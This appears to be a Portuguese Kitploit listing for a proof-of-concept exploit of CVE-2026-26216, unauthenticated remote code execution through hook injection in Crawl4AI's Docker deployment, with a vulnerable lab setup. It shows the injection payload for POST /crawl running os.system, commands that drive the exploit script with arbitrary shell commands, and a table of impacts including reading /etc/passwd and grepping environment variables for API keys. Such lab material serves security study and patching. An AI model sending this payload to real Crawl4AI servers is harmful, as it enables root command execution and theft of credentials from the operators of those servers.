EXPLOIT-CVE-2026-26216 — Exploit de prova de conceito para CVE-2026-26216, demonstrando execução remota de código não autenticada via injeção de hook na implantação Docker do Crawl4AI. Inclui ambiente de laboratório vulnerável. | Kitploit

__import__('os').system(...)

POST /crawl
{
  "urls": ["https://example.com"],
  "hooks": {
    "code": {
      "on_page_context_created":
        "async def hook(page, context, **kwargs):\n    __import__('os').system('id')\n    return page"
    }
  }
}

CVE-2026-26216/
├── README.md
├── docker-compose.yml         # sobe o servidor vulnerável
├── vulnerable-app/
│   ├── Dockerfile             # imagem que roda como root (igual à oficial)
│   ├── requirements.txt
│   ├── server.py              # FastAPI: POST /crawl sem auth
│   └── hook_manager.py        # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
    └── exploit.py             # exploit Python (só stdlib)

# 1. sobe o alvo
docker compose up -d --build

# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo

# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"

# 4. derruba
docker compose down -v

#	Ação	Impacto
1	`open('/etc/passwd')` direto	Bloqueado pelo sandbox (falsa segurança)
2	`__import__('subprocess')` + `id`/`whoami`	RCE como root
3	`cat /etc/passwd` via shell	Leitura arbitrária de arquivos
4	`env \| grep KEY`	Exfiltração de API keys / tokens
5	`echo ... > /tmp/PWNED`	Escrita arbitrária de arquivos

EXPLOIT-CVE-2026-26216

Mais Populares

Por que é a lição perfeita sobre "sandbox caseiro em ferramenta de IA"

Estrutura do projeto

Como rodar

O que o exploit demonstra

Impacto

Correção

Referências

Aviso legal